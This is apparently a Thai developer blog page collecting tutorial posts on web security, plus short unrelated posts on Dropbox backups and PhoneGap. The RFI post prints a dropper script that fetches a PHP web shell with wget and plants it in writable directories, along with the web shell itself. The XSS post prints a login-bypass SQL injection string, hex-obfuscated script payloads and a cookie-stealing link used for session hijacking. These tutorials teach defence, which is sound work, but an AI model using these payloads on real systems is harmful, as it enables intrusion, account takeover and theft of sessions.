Category: Developer

งานพัฒนาระบบ, เขียนโปรแกรม

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #12

    บทความนี้ จะกล่าวถึง วิธีการปิดช่องโหว่ของ Apache ที่ให้บริการ Web Hosting เลย เผื่อมีผู้ใช้ ติดตั้ง Joomla และมี JCE รุ่นที่มีช่องโหว่ จะได้ไม่สร้างปัญหา และ แนะนำวิธีสำหรับผู้พัฒนาเวปไซต์เองด้วย ที่เปิดให้มีการ Upload ไฟล์โดยผู้ใช้ผ่านทาง Web ด้วย … เพราะหน้าที่นี้ ควรเป็นของ Web Server Administrator ไม่ใช่ของ Web Master หรือ Web Author ครับ

    จากปัญหาช่องโหว่ของ JCE Exploited ของ Joomla ที่อธิบายไว้ใน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3 ที่อธิบายขั้นตอนการเจาะช่องโหว่, วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4 ซึ่งเป็นวิธีการตรวจสอบค้นหา และทำลาย Backdoor และ วิธีตรวจสอบเว็บไซต์ที่โดน Hack #11  วิธีการ Incremental Backup ซึ่งสามารถช่วยกู้ไฟล์ได้และรู้ว่า มีไฟล์แปลกปลอมอะไรเกิดบ้าง ซึ่งเป็นการแก้ปัญหาปลายเหตุทั้งสิ้น

    ส่วน วิธีตรวจสอบเว็บไซต์ที่โดน Hack #5 กล่าวถึงการตรวจสอบว่า Software ที่ใช้งานอยู่มีช่องโหว่อะไรบ้าง ด้วยการตรวจสอบ CVE เป็นต้น

    สำหรับ JCE Exploited จะพบว่า การวางไฟล์ Backdoor จะเริ่มวางไว้ที่ไดเรคทอรี่ images/stories ที่ แกล้งเป็นไฟล์ .gif แล้วเอาโค๊ด PHP เข้ามาใส่ แล้วเปลี่ยนนามสกุลเป็น .php ภายหลัง ดังนั้น หาก Apache Web Server สามารถ ปิดกั้นตั้งแต่จุดนี้ได้ กล่าวคือ ต่อให้เอาไฟล์มาวางได้ แต่สั่งให้ทำงานไม่ได้ ก็น่าจะปลอดภัย และ หากพัฒนาเวปไซต์เอง หรือ ผู้ใช้ของระบบต้องการให้ Upload ไฟล์ไว้ในไดเรคทอรี่ใดได้ ก็ต้องแจ้งให้ Web Server Administrator รับทราบ และเพิ่มเติมให้ น่าจะทำให้ปลอดภัยมากขึ้นได้

    สมมุติฐานคือ

    1. ติดตั้ง OS และ Apache Web Server ใหม่

    2. ติดตั้ง Joomla ใหม่ หรือ เอา Web Application ที่ปลอดช่องโหว่อื่นๆ/Backdoor มาลง
      โดย Joomla ที่มีที่วางไฟล์ภาพไว้ที่ images/stories ส่วน Web Application อื่นๆ ขอสมมุติว่าตั้งชื่อไดเรคทอรี่ว่า uploads

    สำหรับ Apache2 บน Ubuntu Apache 2.2 นั้น มีโครงสร้างไดเรคทอรี่ดังนี้

    /etc/apache2/
    |-- apache2.conf
    |       `--  ports.conf
    |-- mods-enabled
    |       |-- *.load
    |       `-- *.conf
    |-- conf.d
    |       `-- *
    |-- sites-enabled
            `-- *

    เมื่อ Apache เริ่ม (Start) ก็จะไปอ่าน /etc/apache2/apache2.conf ในนั้น จะกำหนดภาพรวมของระบบ ได้แก่ ใครเป็นคน Start (APACHE_RUN_USER/APACHE_RUN_GROUP), การกำหนดชื่อไฟล์ .htaccess ที่เปิดให้ผู้ใช้ปรับแต่ง Apache ที่แต่ละไดเรคทอรี่ของตนได้, กำหนดว่า จะเรียกใช้ Module อะไรบ้าง โดยการ Include *.load, *.conf  จาก mods-enabled, กำหนดว่า จะเปิดให้มี Virtual Host อะไรบ้างโดยการ Include ไฟล์จาก sites-enabled และ ที่สำคัญ ผู้ดูแลระบบสามารถแยกไฟล์ config ออกเป็นส่วนย่อยๆเป็นไฟล์ โดยการ Include จาก conf.d

    ต่อไป สร้างไฟล์ /etc/apache2/conf.d/jce มีเนื้อหาดังนี้

    <DirectoryMatch ".*/images/stories/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

     และในทำนองเดียวกัน สร้างไฟล์ /etc/apache2/conf.d/uploads มีเนื้อหาดังนี้

    <DirectoryMatch ".*/uploads/.*">
    <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    ก่อนจะ Restart/Reload Apache ทดสอบสร้างไฟล์ใน

    /var/www/joomla15/images/stories/0day.php
    /var/www/mywebapp/uploads/hack.php

    เมื่อเรียก URL
    http://localhost/joomla15/images/stories/0day.php

    http://localhost/mywebapp/uploads/hack.php

     ผลที่ได้คือ Backdoor หน้าตาประมาณนี้

    แต่พอใช้ Reload Apache ด้วยคำสั่ง

     sudo /etc/init.d/apache2 reload

     แล้วเรียก URL

     http://localhost/joomla15/images/stories/0day.php

     จะได้ผลดังนี้

    เป็นอันว่า แม้ Hacker จะสามารถเอาไฟล์ 0day.php ไปวางใน images/stories ได้ แต่ก็จะไม่สามารถทำงานได้ (อย่างน้อย ก็เรียกใช้ไม่ได้ แต่ผู้ดูแลต้องค้นหาและทำลายเป็นประจำ)

     อธิบายเพิ่มเติมเกี่ยวกับ Apache Configuration เล็กน้อย, การเขียนนั้น ประกอบด้วยสิ่งที่เรียกว่า Directive โดยแบ่งออกเป็น Container และ Directive ทั่วไป

    1. Container Directive: เป็นตัวบอกขอบเขต แบ่งออกเป็น

    1.1 FileSystem: ได้แก่

    1.1.1 <Directory directory-path> … </Directory>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่ง directory-path จะต้องเขียนตามให้เต็ม Path เช่น
    <Direcotory /var/www>
    ….
    </Directory>

    1.1.2 <DirectoryMatch regexp> … </DirectoryMatch>
    ตั้งค่ากับเฉพาะ ขอบเขตของ Directory ซึ่งสอดคล้องกับ regexp ที่กำหนด เช่น
    <DirecotoryMatch “.*/images/stories/.*”>
    ….
    </DirectoryMatch>

    1.1.3 <Files filename> … </Files>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่ตรงกับ filename ที่กำหนด เช่่น
    <Files “somefile.html”>

    </Files>

    1.1.4 <FilesMatch regexp> … </FilesMatch>
    ตั้งค่ากับเฉพาะ ชื่อไฟล์ที่สอดคล้องกับ regexp ที่กำหนด เช่่น
    <FilesMatch “.*\.php$”>

    </FilesMatch>

    1.2 WebSpace: ได้แก่

    1.2.1 <Location URL-Path> … </Location>
    ตั้งค่ากับเฉพาะ URL ที่ตรงกับ URL-Path เช่น
    <Location /private>

    </Location>
    1.2.2 <LocationMatch regexp> … </LocalMatch>
    ตั้งค่ากับเฉพาะ URL ที่สอดคล้องกับ regexp เช่น
    <LocationMatch “/(extra|special)/data”>

    </LocationMatch>

    2. Other Directive
    ซึ่งมีอยู่มากมาย กรุณาอ่านเพิ่มเติมจาก http://httpd.apache.org/docs/2.2/mod/core.html แต่ในที่นี้ จะขอยกตัวอย่างที่สำคัญ และจำเป็นต้องใช้ ตามตัวอย่างข้างต้น คือ

    Order ordering : อยู่ใน Module mod_access_compat, ค่า ordering ที่สามารถกำหนดได้คือ

    Allow, Deny ซึ่งจะพิจารณาการอนุญาตก่อนปฏิเสธ และ Deny, Allow จะปฏิเสะก่อนแล้วพิจารณาอนุญาต ให้เข้าถึงไฟล์ หรือ ไดเรคทอรี่ต่างๆ

    Deny all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ปฏิเสธทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    Allow all|host : อยู่ใน Module mod_access_compat, ค่า all หมายถึง ยอมรับทุกการเชื่อมต่อจากทุกๆที่, host สามารถเป็น IP Address หรือ URL ก็ได้

    ดังนั้น ไฟล์ /etc/apache2/conf.d/jce ซึ่งมีเนื้อหาว่า

    <DirectoryMatch ".*/images/stories/.*>
     <FilesMatch "\.php$">
           Order Deny,Allow
           Deny from All
     </FilesMatch>
    </DirectoryMatch>

    หมายถึง ถ้ามีการเรียก ไฟล์ที่อยู่ใน directory อะไรก็ตามที่มีส่วนหนึ่งของ Path เป็น images/stories ก็จะ ไปดูว่า ชื่อไฟล์ที่เรียกนั้น มีนามสกุลเป็น .php หรือไม่ (.* แปลว่า ตัวอักษรอะไรก็ได้, \. หมายถึงจุด “.” ที่ใช้เชื่อม filename และ extenstion และ $ หมายถึง สิ้นสุดข้อความ) ถ้าเป็นการเรียกไฟล์ .php ใน images/stories ก็จะ ปฏิเสธเสมอ (Deny from ALL)

    แล้ว ทำไมไม่ใช่ .htaccess ?

    จาก Apache Security Tips ไม่แนะนำให้ใช้ .htaccess เพราะปัญหาด้าน Performance เพราะทุกครั้งที่จะเข้าถึงไฟล์ จะต้องพิจารณา .htaccess ทุกครั้ง ในเวปไซต์ที่มีการใช้งานมาก อาจจะทำให้ความเร็วช้าลงได้ อีกประการหนึ่ง .htaccess นั้นอยู่ในไดเรคทอรี่ที่ผู้ใช้สามารถกำหนดสิทธิ์ (Permission) เองได้ หากพลาดกำหนดให้ Web User สามารถเขียนได้ อาจจะทำให้ Hacker เลี่ยงข้อกำหนดต่างๆได้ หาก ที่ Apache Main Configuration ประกาศ AllowOverride เป็น ALL

    ขอให้โชคดี

    Reference

    [1] “Apache HTTP Server Version 2.2 Documentation – Apache HTTP …” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/> .

    [2] “Security Tips – Apache HTTP Server.” 2005. 7 Jan. 2014 <http://httpd.apache.org/docs/2.2/misc/security_tips.html>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

    ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

    แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

    โปรดพิจารณาตัวอย่างต่อไปนี้

    ไฟล์แรก form.html มีรายละเอียดดังนี้

    <form method="get" action="action.php">
       <select name="COLOR">
          <option value="red.inc.php">red</option>
          <option value="blue.inc.php">blue</option>
       </select>
       <input type="submit">
    </form>

    ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

    ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

    <?php
       if (isset( $_GET['COLOR'] ) ){
          include( $_GET['COLOR'] );
       }
    ?>

    โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

    http://localhost/rfi/action.php?COLOR=red.inc.php

    แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

    หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

    <?php
    $output=shell_exec("
        wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
        find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
        find /var/www -name 'rfi.php'
    ");
    echo nl2br($output);
    ?>

    ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

    ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

    <?php
    $c = $_GET['c'];
    $output = shell_exec("$c");
    echo "<pre>" . nl2br($output) . "</pre>";
    ?>

    ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
    จากนั้น ก็เรียก

    http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

    ผลที่ได้คือ

    rfi01

    เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

    http://localhost/ccpr/images/stories/rfi.php?c=ls -la

    ผลที่ได้คือ

    rfi02

    หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

    http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

    และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

    http://localhost/ccpr/images/stories/miya187.php

    ผลที่ได้คือ

    rfi03

    ซึ่ง อันตรายอย่างยิ่ง

    วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

    allow_url_include=Off

    ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

    ขอให้โชคดี

     Reference

    [1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9

    สวัสดีปีใหม่ ปี 2557 ขอทุกท่านนประสบความสำเร็จในหน้าที่การงาน คิดหวังสิ่งใดก็สมปรารถนา และมีสุขภาพแข็งแรง ปลอดภัยตลอดทั้งปีครับ

    บทความนี้ ขอกล่าวถึงปัญหาสำคัญปัจจุบัน เรียกว่าเป็น Trends ของปีที่ผ่านมาและต่อไปในปีนี้ (2557) ด้วย นั่นคือ เรื่อง Cross Site Scripting หรือ ที่เขียนย่อๆว่า XSS

    XSS นั้น ก็คล้ายๆกับปัญหาเดิมของ SQL Injection เดิม

    SQL Inject คือ Web Form ที่ให้ผู้ใช้ป้อนข้อมูลเข้ามา ไม่ได้มีการกรองข้อมูลให้ดี จึงทำให้ Hacker สามารถ แทรกคำสั่ง SQL เข้ามา เพื่อให้สามารถ Bypass การตรวจสอบได้ เช่น ตัวอย่าง SQL Injection ที่เขียนจาก PHP ที่หน้าที่รับ username และ password เข้ามาตรวจสอบ จากฐานข้อมูล โดยคิดว่า จับคู่ได้ แล้วมีจำนวน มากกว่า 0 ก็แสดงว่า ให้ผ่านได้ ดังนี้

      <?php
      $username=$_POST['username'];
      $password=$_POST['password'];
    
      $host="localhost";
      $dbuser="root";
      $dbpass="123456";
      $dbname="xss";
      $dbtable="user";
    
      $conn = mysql_connect("$host","$dbuser","$dbpass");
      mysql_select_db("$dbname");
      $sql = "SELECT count(*) FROM $dbtable WHERE username='$username' AND password = '$password' ";
    
      $query=mysql_query($sql);
      $result=mysql_fetch_array($query);
      $count=$result[0];
    
      if ( $count > 0 ) {
            echo " Hello $username ";
      } else {
            echo "Login Fail";
      }
    
      echo "<hr>";
      echo "SQL=$sql";
    
      mysql_close($conn);
    ?>

    เมื่อทำการ Login ด้วย Username เป็น admin และ Password  เป็น yyy ซึ่งผิด

    ผลที่ได้ จะประมาณนี้

    แต่หาก ใส่ Password แทนที่จะเป็น

    yyy

    แต่ใส่เป็น

    yyy' or '1'='1

     ผลที่ได้คือ

    จะเห็นได้ว่า  การที่ไม่ตรวจสอบ Escape Character ให้ดี จึงทำให้ Hacker สามารถเข้ามาได้ โดยไม่จำเป็นต้องทราบรหัสผ่านจริงๆ, นี่คือ SQL Injection

    ส่วน XSS นั้น ก็คล้ายๆกัน แต่ แทนที่จะแทรก SQL Statement ก็ ใช้ JavaScript  แทน โดยช่องโหว่มาจากการเขียนโปรแกรมบน Web Server แต่จะส่งผลกระทบต่อ Web Browser เช่น ทำให้เกิดการ Download Malware, การถูกส่งข้อมูลส่วนตัวที่ผู้ใช้กรอกไปให้ Hacker หรือ Hacker สามารถขโมย Session ของ Admin ซึ่งเข้าใช้งาน Web Application ที่มีช่องโหว่นั้นๆได้เลยทีเดียว

    ลักษณะของ XSS [1] มี 2 แบบ

    1. แบบชั่วคราว (Non-Persistent XSS) : เมื่อ Hacker พบช่องโหว่บน Website ใด ก็จะใช้เป็นช่องทางแพร่ Malware/Virus ได้ หรือ ใช้ในการ redirect ผู้ใช้ผ่านไปยัง Phishing Website ได้ โดยใช้วิธีการแทรก JavaScript เข้าไป

    2. แบบฝังตัวถาวร (Persistent XSS) : ใช้ช่องโหว่ เพื่อเขียนข้อมูล ลงไปใน Database ซึ่ง อาจจะเป็นช่องทางในการ ขโมย Session ของ Admin ได้ โดยมักจะเกิดจาก Website ที่เปิดให้มีการสมัคร โดยไม่ตรวจสอบ หรือ ไม่มี Captcha  ทำให้ Hacker แฝงตัวเข้ามา และอาศัยช่องโหว่นี้ วางกับดัก “เผื่อ” Admin พลาดคลิกเข้า ก็อาจจะได้ Session ไป จนสามารถคุมทั้ง Website ได้ สามารถเข้ามาเป็น Admin ได้เลย

    ตัวอย่าง Non-Persistent XSS

    ถ้ามีการเขียน PHP เพื่อรับช้อมูลจากจากผู้ใช้ และ นำมาใช้งานเลย โดยไม่ตรวจสอบ ดังตัวอย่างนี้ (ชื่อ simple.php)

    <?php
    $name = $_GET['name'];
    echo "Welcome $name<br>";
    echo "<a href='http://xssattackexamples.com/'>Click to Download</a>";
    echo "</br>";
    echo "<a href='http://localhost/xss/testxss.html'>BACK</a>";
    ?>

     เช่น ใส่ค่าตัวแปร “name” เป็น “Firstname Lastname” จะได้ผลอย่างนี้

    http://localhost/xss/simple.php?name=Firstname Lastname

    จะเห็นได้ว่า จะได้ข้อความ Welcome Firstname Lastname ตามที่ใส่ในตัวแปร “name” นั่นเอง

    แต่ ถ้าใส่ JavaScript เข้าไป เพื่อให้แสดง Alert ดังนี้

    http://localhost/xss/simple.php?name=guest<script>alert("attacked")</script>

    ก็จะได้ผลดังนี้

    และ ถ้าใส่ JavaScript อีกแบบ ก็สามารถเปลี่ยน Link ที่ “Click to Download” จาก

    http://xssattackexamples.com/

    เป็น

    http://not-real-xssattackexamples.com/

     ด้วย URL ต่อไปนี้

    http://localhost/xss/simple.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>

     ก็จะได้ผลดังนี้

    ซึ่ง ถ้าคลิกที่ “Click to Download” แทนที่จะไปยัง http://xssattackexamples.com/ ก็จะไปยัง http://not-real-xssattackexamples.com/  ซึ่งเป็น Phishing Site ได้เลยทีเดียว

    แต่โดยทั่วไปแล้ว Hacker จะไม่ใส่คำสั่งที่อ่านได้ง่ายๆลงไป โดยจะเปลี่ยน Code ดังกล่าวเป็นเลขฐาน 16 แทน ด้วยคำสั่งต่อไปนี้

    echo -n "<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>" | hexdump -v -e '/1 " %02.2x"' | sed -e 's/ /%/g'

    ผลที่ได้คือ

     %3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%61%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%68%74%74%70%3a%2f%2f%6e%6f%74%2d%72%65%61%6c%2d%78%73%73%61%74%74%61%63%6b%65%78%61%6d%70%6c%65%73%2e%63%6f%6d%2f%3b%7d%3c%2f%73%63%72%69%70%74%3e

     และ ใช้ URL ต่อไปนี้ เพื่อไม่ให้ผู้ใช้ และ Admin ตรวจสอบได้ง่าย

    http://localhost/xss/simple.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

    ตัวอย่าง Persistent XSS

    ถ้ามีการเขียน PHP ซึ่งประกอบไปด้วย login.php และ home.php โดยเก็บข้อมูลไว้ใน MySQL ใน Database ‘xss’ และตารางชื่อ ‘user’  ซึ่งมี ผู้ใช้ชื่อ admin เป็นผู้มีสิทธิ์สูงสุด สามารถเห็นรายละเอียดผู้ใช้อื่นๆได้ แต่ ถ้า Login ด้วยผู้ใช้ทั่วไป เช่น user01 ก็จะทำได้แค่ เปลี่ยน Display Name ของตัวเอง … และปัญหาอยู่ตรงที่ การเปิดให้ผู้ใช้ ใส่ Display Name ได้โดยไม่กรองข้อมูล ทำให้ Hacker สามารถ ฝัง JavaScript เข้ามาได้ ดังตัวอย่างต่อไปนี้ (Code ที่เห็น มาจาก [1] ซึ่งต่อกับฐานข้อมูล PostgreSQL ซึ่งผม ปรับเป็น MySQL)

     login.php มีหน้าตาอย่างนี้

    <?php
    if ($_POST[username] == "" ) {
    ?>
    <form method=POST action=login.php>
    <H1>Login</H1>
    Username : <input type=text name=username></br>
    Password : <input type=password name=password></br>
    <input type=submit value="Login"><input type=reset>
    </form>
    <?php
    } else {
    ?>
    <?php
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    //echo $sql;
    $query=mysql_query($sql);
    $result=mysql_fetch_array($query);
    /*
    if (!($result=mysql_fetch_array($query))) {
     echo "User/Password Failed";
     exit(0);
    } ;
    */
    $password = $_POST['password'];
    $username = $result['username'];
    if($password != $result['password']) {
    echo "Login failed";
    }
    else {
    # Start the session
    echo "$username:$password";
    session_start();
    $_SESSION['USER_NAME'] = $username;
    echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
    }
    ?>
    <?php
    } // End if of a form
    ?>

    และ home.php มีหน้าตาอย่างนี้

    <?php
    session_start();
    if(!$_SESSION['USER_NAME']) {
    echo "Need to login";
    }
    else {
    
    $Host= 'localhost';
    $Dbname= 'xss';
    $User= 'root';
    $Password= '123456';
    $table = 'user';
    
    $conn=mysql_connect("$Host","$User","$Password");
    mysql_select_db($Dbname);
    
    $sql="SELECT username,password from $table where username='".$_POST['username']."';";
    
    $query=mysql_query($sql);
    
    $result=mysql_fetch_array($query);
    
    if($_SERVER['REQUEST_METHOD'] == "POST") {
     $sql2="update $table set display_name='".$_POST['disp_name']."' where username='".$_SESSION['USER_NAME']."';";
     $query=mysql_query($sql2);
     echo "Update Success";
    }
    else {
     if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
      echo "Welcome admin<br><hr>";
      echo "List of user's are<br>";
      $sql = "select display_name from $table where username!='admin'";
      $query= mysql_query($sql);
      while($result = mysql_fetch_array($query)) {
        echo "$result[display_name]<br>";
      }
    }
    else {
     echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
     echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
     echo "<input type=\"submit\" value=\"Update\">";
    }
    }
    }
    ?>
    </br>
    <a href=login.php>Go to Login</a></br>
    <a href=home.php>Go to Home</a></br>

    เมื่อ Admin ทำการ Login

    เมื่อใส่รหัสผ่าน ถูกต้อง จะส่งไปยัง home.php ซึ่งจะได้ผลอย่างนี้ สังเกตว่า ในหน้า Admin สามารถเห็นรายชื่อของผู้ใช้ทั้งหมดได้  หนึ่งในนั้นคือ user01

    ต่อ สมมุติ user01 เป็น Hacker เขาก็จะ Login อย่างนี้

    และที่หน้า home.php ของ user01 จะได้หน้าตาอย่างนี้

    ซึ่ง user01 จะสามารถ แก้ไข Display Name จาก “User01” เป็น

     <a href=# onclick=\"document.location=\'http://localhost/xss/xss.php?c=\'+escape\(document.cookie\)\;\">User01</a>

     และกดปุ่ม Update จะได้ผลดังนี้

    เพื่อให้ เมื่อ admin เข้ามาในหน้า home.php และเห็นชื่อของ User01 เป็น Link ดังนี้

    ถ้า admin เห็น และลองคลิกดู ก็จะทำให้ ส่งหมายเลข cookie ของ admin ไปยัง http://localhost/xss/xss.php โดยส่งผ่านตัวแปร c เพื่อเก็บข้อมูลเอาไว้ (แต่ในที่นี้ จะทำเป็นการแสดงผลออกมาแทน) ดังนี้

    ซึ่งจะพบว่า Cookie ID ของ admin ณ ขณะนั้นคือ iveovmj2eoghs02of2u7492k33

     สมมุติว่า Hacker ที่เฝ้าอยู่ พอรู้ว่า Admin คลิกแล้ว ก็จะเปิดหน้า home.php ซึ่งได้ผลอย่างนี้

     

    ใน Firefox จะมีเครื่องมือ คือ Web Developer Toolbar ซึ่งจะสามารถแก้ไขค่า Session ได้ โดยไปที่เมนู

     Tools > Web Developer > Developer Toolbar

    หรือกดปุด Shift-F2 ก็ได้

    จะปรากฏแถบสีดำ ด้านล่าง ให้ใส่คำสั่ง

    cookie list

    จะได้ผลอย่างนี้

     ต่อไป Hacker จะคลิกปุ่ม Edit เพื่อใส่ Cookie ID : iveovmj2eoghs02of2u7492k33 แทน k32vd7a6a44dpomo87i89vube6 ด้วยคำสั่งนี้

     cookie set PHPSESSID iveovmj2eoghs02of2u7492k33

    จากนั้นกดปุ่ม Enter เพื่อ สั่งเปลี่ยน Cookie ID และกดปุ่ม F5 เพื่อ Refresh หน้าจอ

    ผลที่ได้คือ Hacker สามารถ เข้าถึงหน้าจอของ Admin ได้ ดังนี้

    จากนั้น Hacker ก็จะสามารถ ทำงานทุกอย่างที่ Admin สามารถทำได้แล้วครับ

     ส่วนวิธีการตรวจสอบ และป้องกัน ขอติดไว้ก่อน จะมาเล่าให้ฟังต่อไป
    ลองอ่านพลางๆครับ

    https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
    https://www.acunetix.com/websitesecurity/xss/
    http://www.riyazwalikar.com/2010/06/multiple-joomla-xss-vulnerabilities-cve.html
    https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
    http://msdn.microsoft.com/en-us/library/aa973813.aspx

    ขอให้โชคดี

    Reference

    [1] Ramesh Natarajan. “XSS Attack Examples (Cross-Site Scripting Attacks) – The Geek Stuff.” 2012. 1 Jan. 2014 <http://www.thegeekstuff.com/2012/02/xss-attack-examples/>

  • ประยุกต์ใช้ Dropbox ช่วยสำรองข้อมูลเว็บไซต์ และพัฒนาเว็บได้ทุกที่

    แนวความคิดนี้จัดทำเพื่อตอบโจทย์และสนองความต้องการดังนี้ คือ สามารถจัดเก็บและสำรองข้อมูลเว็บไซต์ และสามารถแก้ไขไฟล์ได้ทุกที่ อำนวยความสะดวกให้กับโปรแกรมเมอร์ มีความคล้ายคลึงกับพวก sub version control, github แต่ไม่เหมือน เพราะมีข้อด้อยและข้อดีกว่าดังนี้

    ข้อด้อย

    – ไม่มีการควบคุมในส่วนของเวอร์ชั่นของโค้ดโปรแกรม

    – ไม่เหมาะกับการพัฒนาโปรแกรมเป็นทีม อาจจะทำได้แต่ต้องจัดการบริหารให้ดี

    ข้อเด่น

    – เหมาะสมกับนักพัฒนาคนเดียว การทำงานสะดวกกว่าพวก version control มาก

    – ทันทีที่แก้ไขไฟล์ จะอัพเดตไฟล์ทันที

    ในการเลือกใช้ Strange Clouds (บริการเก็บไฟล์บนกลุ่มเมฆ)  อย่าง Dropbox มีความเหมาะสมที่สุด เพราะสามารถติดตั้งได้ทุกระบบปฎิบัติการ แต่ทีจะสาทิตนี้จะใช้เป็น Ubuntu/Linux Mint  ดังมีขั้นตอนดังนี้ (more…)

  • ทบทวนที่เรียนจากติว PhoneGap ด้วย HTML5 & Jquery Mobile

    ผมต้องออกตัวก่อนนะครับว่า ไม่ได้เก่งในการเขียน Mobile Apps. เลยสักนิด เพียงแต่ได้ไปเข้าเรียนมา 2 วัน ผมรู้สึกว่าเป็นศาสตร์ที่น่าลองทำดู และไม่ควรให้มันจางหายไปหลังจากเรียน เดี๋ยววิทยากรจะเสียใจ อิๆ ผมจึงบันทีกไว้แบบใครอ่านแล้วไม่ชอบก็อย่าถือสาผมนะครับ

    ลองทบทวนจากที่เรียนใน workshop
    ติว “แนะนำและสอนการพัฒนาเบื้องต้นเกี่ยวกับ Application บนมือถือด้วย PhoneGap โดยใช้ HTML5 & Jquery Mobile”

    สภาพแวดล้อม
    – เป็นการติดตั้งทดสอบบน Windows 8 (32 bit) บนเครื่องโน้ตบุ๊ค HP ProBook 6450b RAM 4 GB

